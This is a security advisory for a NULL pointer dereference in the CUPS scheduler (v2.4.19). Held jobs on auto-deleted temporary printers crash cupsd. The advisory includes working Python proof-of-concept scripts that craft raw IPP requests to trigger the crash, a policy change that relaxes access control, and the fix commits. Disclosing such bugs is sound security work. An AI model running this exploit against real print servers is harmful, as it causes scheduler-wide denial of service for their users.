GHSA-qqm8-4q5h-jg55
CVE Information
Summary
cupsd crashes when a job marked
job-held-on-createrefers to a temporary printer that has been automatically deleted.cupsdCheckJobs()looks up the missing destination and dereferences the returned NULL pointer.Reproduced on CUPS v2.4.19 over the local CUPS domain socket. The crash affects all queues managed by the scheduler. The queue must first be configured to hold new jobs, which requires administrative privileges under the default policy. The reproduction below relaxes that requirement for testing.
Details
In
cupsdCheckJobs(), thejob-held-on-createbranch accesses the destination without checking whether it still exists (scheduler/job.c:325–336):reasons = ippGetString(job->reasons, 0, NULL); if (reasons && !strcmp(reasons, "job-held-on-create")) { printer = cupsdFindDest(job->dest); if (printer->holding_new_jobs) continue; ippSetString(job->attrs, &job->reasons, 0, "none"); }
add_job()assigns this reason when the destination hasholding_new_jobsset. That state is enabled byHold-New-Jobs, an operation restricted to@SYSTEMunder the default policy.The destination can disappear through
cupsdDeleteTemporaryPrinters()(scheduler/printers.c:783–806). This function removes temporary printers that are not processing and whosestate_timeis older than 300 seconds, without canceling their jobs. In contrast, the explicitCUPS-Delete-Printeroperation cancels jobs before deleting the destination.A failed local-printer probe sets
state_timeto zero on several error paths inscheduler/ipp.c, making the temporary printer immediately eligible for removal. If a held-on-create job remains, the next call tocupsdCheckJobs()dereferences NULL atscheduler/job.c:333.Runtime reproduction was performed on v2.4.19. The supplied source-history analysis places the vulnerable branch in v2.2.0 through v2.4.19; earlier versions were assessed by inspection rather than runtime testing.
The fix should check the destination lookup and handle jobs left behind by temporary-printer removal. Extending the removal delay alone would not address the missing NULL check.
Proof of concept
Configuration
- CUPS v2.4.19 with access to its Unix domain socket.
CUPS-Create-Local-Printerrequires a domain-socket client.- The test policy permits
Hold-New-JobsandCUPS-Accept-Jobswithout authentication. Both are privileged under the default policy.In the test instance’s existing
<Policy default>block, move these two operations out of any existing privileged<Limit>group and place them in:<Limit Hold-New-Jobs CUPS-Accept-Jobs> Order deny,allow </Limit>Leave the other policy rules unchanged and restart the test instance.
Device listener
Save the following as
/tmp/blackhole.pyand run it withpython3 /tmp/blackhole.py. It accepts the printer probe, waits two seconds, and closes the connection.#!/usr/bin/env python3 # blackhole.py - accept TCP connections, hold 2s, close (fake slow device) import socket, threading, time s = socket.socket() s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) s.bind(("127.0.0.1", 9999)); s.listen(8) def handle(c): try: time.sleep(2) finally: c.close() while True: c, _ = s.accept() threading.Thread(target=handle, args=(c,), daemon=True).start()Trigger
Save the original reproduction script below as
/tmp/poc.py. It creates a temporary printer, enables job acceptance, holds new jobs, and submits a job while the device probe is pending.#!/usr/bin/env python3 """PoC: cupsd 2.4.19 NULL deref in cupsdCheckJobs (job.c:333).""" import socket, struct, sys, time SOCK = sys.argv[1] if len(sys.argv) > 1 else "/var/run/cups/cups.sock" NAME = "p019" PURI = f"ipp://localhost/printers/{NAME}" BLACKHOLE = "ipp://127.0.0.1:9999/ipp/print" def attr_str(tag, name, value): v = value.encode() return (struct.pack(">BH", tag, len(name)) + name.encode() + struct.pack(">H", len(v)) + v) def build(opid, reqid, groups, path, data=b""): body = struct.pack(">BBHI", 1, 1, opid, reqid) for gtag, attrs in groups: body += bytes([gtag]) + attrs body += b"\x03" + data return (f"POST {path} HTTP/1.1\r\nHost: localhost\r\n" f"Content-Type: application/ipp\r\nContent-Length: {len(body)}\r\n" f"Connection: close\r\n\r\n").encode() + body def op_attrs(extra=b""): return (attr_str(0x47, "attributes-charset", "utf-8") + attr_str(0x48, "attributes-natural-language", "en") + attr_str(0x45, "printer-uri", PURI) + extra) def send(req): s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) s.settimeout(20) s.connect(SOCK) s.sendall(req) return s def read_status(s): resp = b"" try: while True: c = s.recv(4096) if not c: break resp += c except socket.timeout: pass s.close() if b"\r\n\r\n" not in resp: return None ipp = resp.split(b"\r\n\r\n", 1)[1] return struct.unpack(">H", ipp[4:6])[0] if len(ipp) >= 6 else None reqs = [] # 1. Create the temporary local printer; its response is deferred until the # device probe finishes, so fire the remaining requests immediately. reqs.append(("Create-Local-Printer", send(build(0x4028, 1, [ (0x01, attr_str(0x47, "attributes-charset", "utf-8") + attr_str(0x48, "attributes-natural-language", "en") + attr_str(0x45, "printer-uri", PURI)), (0x04, attr_str(0x42, "printer-name", NAME) + attr_str(0x45, "device-uri", BLACKHOLE)), ], f"/printers/{NAME}")))) reqs.append(("Accept-Jobs", send(build(0x4008, 2, [(0x01, op_attrs())], f"/printers/{NAME}")))) reqs.append(("Hold-New-Jobs", send(build(0x0025, 3, [(0x01, op_attrs())], f"/printers/{NAME}")))) reqs.append(("Print-Job", send(build(0x0002, 4, [(0x01, op_attrs( attr_str(0x42, "document-format", "application/vnd.cups-raw")))], f"/printers/{NAME}", data=b"poc019\n")))) time.sleep(1) for name, s in reqs: st = read_status(s) print(f"[*] {name}: {hex(st) if st is not None else 'no response'}") print("[*] cupsd should die within seconds of the probe failure; check:") print(" systemctl status cups / journalctl -u cups --since -1min")Run:
python3 /tmp/poc.py /var/run/cups/cups.sockObserved result
The job was queued with state
heldand reasonjob-held-on-create. After the probe failed, the temporary printer was deleted without canceling the job. The scheduler then terminated withSIGSEGV.The sanitized build reported:
job.c:333:20: runtime error: member access within null pointer of type 'cupsd_printer_t' #0 cupsdCheckJobs scheduler/job.c:333:20 #1 main scheduler/main.c:1026:7The script above is unchanged from the supplied reproduction. Its
read_status()reads bytes4:6, which belong to the IPP request ID rather than the status code at bytes2:4. Its printed status values therefore do not establish that the operations succeeded; use the scheduler logs and crash trace as evidence.Impact
This is a NULL pointer dereference causing scheduler-wide denial of service. All queues managed by the affected cupsd process lose service.
Under the default policy, a local user cannot independently perform the full demonstrated sequence: enabling job acceptance and holding new jobs require administrative privileges. An unprivileged submission can trigger the failure when a temporary queue is already accepting jobs and configured to hold them.
A restart loop may also occur if the held job is persisted before the destination disappears and restored at startup without that destination. This is a separate persistence scenario, not established by the two-second reproduction above.
Fix
[master 7c7b35b18272c9] Abort held jobs if the destination has gone away (GHSA-qqm8-4q5h-jg55)
[2.4.x c5fc041ca] Abort held jobs if the destination has gone away (GHSA-qqm8-4q5h-jg55)